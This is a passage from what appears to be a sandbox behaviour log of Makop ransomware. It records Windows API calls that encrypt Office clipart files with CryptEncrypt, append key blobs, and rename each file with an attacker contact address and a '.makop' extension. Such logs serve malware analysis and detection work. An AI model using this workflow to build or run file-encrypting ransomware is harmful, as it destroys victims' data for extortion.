lpOverlapped=0x0) returned 1 [0147.837] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.837] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.837] SetEndOfFile (hFile=0xf0) returned 1 [0147.844] GetProcessHeap () returned 0x48a0000 [0147.844] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.844] GetProcessHeap () returned 0x48a0000 [0147.845] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.845] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.847] CloseHandle (hObject=0xf0) returned 1 [0147.847] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECYCLE.WMF", cAlternateFileName="")) returned 1 [0147.847] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 62 [0147.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.848] GetProcessHeap () returned 0x48a0000 [0147.848] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.848] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.848] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0147.856] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.856] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.856] GetProcessHeap () returned 0x48a0000 [0147.856] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.857] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.857] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.857] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.857] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.857] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.858] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.858] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.858] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd16, lpOverlapped=0x0) returned 1 [0147.858] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd20, dwBufLen=0xd20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd20) returned 1 [0147.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd20, lpOverlapped=0x0) returned 1 [0147.858] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.859] SetEndOfFile (hFile=0xf0) returned 1 [0147.865] GetProcessHeap () returned 0x48a0000 [0147.865] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.865] GetProcessHeap () returned 0x48a0000 [0147.866] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.866] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0147.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.867] CloseHandle (hObject=0xf0) returned 1 [0147.867] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x175f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROAD_01.MID", cAlternateFileName="")) returned 1 [0147.867] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0147.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.868] GetProcessHeap () returned 0x48a0000 [0147.868] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.868] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.869] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.869] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0147.873] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.873] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.873] GetProcessHeap () returned 0x48a0000 [0147.873] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.874] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.874] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.874] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.874] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.874] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.874] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.874] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.874] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.875] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.875] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.875] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x175f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x175f, lpOverlapped=0x0) returned 1 [0147.876] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1760, dwBufLen=0x1760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1760) returned 1 [0147.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1760, lpOverlapped=0x0) returned 1 [0147.877] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.877] SetEndOfFile (hFile=0xf0) returned 1 [0147.884] GetProcessHeap () returned 0x48a0000 [0147.884] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.884] GetProcessHeap () returned 0x48a0000 [0147.884] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.884] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0147.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.886] CloseHandle (hObject=0xf0) returned 1 [0147.887] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x278a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAFRI_01.MID", cAlternateFileName="")) returned 1 [0147.887] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0147.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.889] GetProcessHeap () returned 0x48a0000 [0147.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.889] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.889] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.889] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0147.893] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.894] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.894] GetProcessHeap () returned 0x48a0000 [0147.894] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.894] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.894] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.894] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.895] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.895] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.895] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x278a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x278a, lpOverlapped=0x0) returned 1 [0147.897] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2790, dwBufLen=0x2790 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2790) returned 1 [0147.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.897] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2790, lpOverlapped=0x0) returned 1 [0147.897] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.897] SetEndOfFile (hFile=0xf0) returned 1 [0147.904] GetProcessHeap () returned 0x48a0000 [0147.904] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.904] GetProcessHeap () returned 0x48a0000 [0147.904] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.904] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.906] CloseHandle (hObject=0xf0) returned 1 [0147.906] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHOL_02.MID", cAlternateFileName="")) returned 1 [0147.908] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0147.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.911] GetProcessHeap () returned 0x48a0000 [0147.911] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.911] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.911] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.911] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0147.916] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.916] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.916] GetProcessHeap () returned 0x48a0000 [0147.916] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.916] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.916] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.916] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.916] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.917] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.917] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.917] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.917] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.917] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 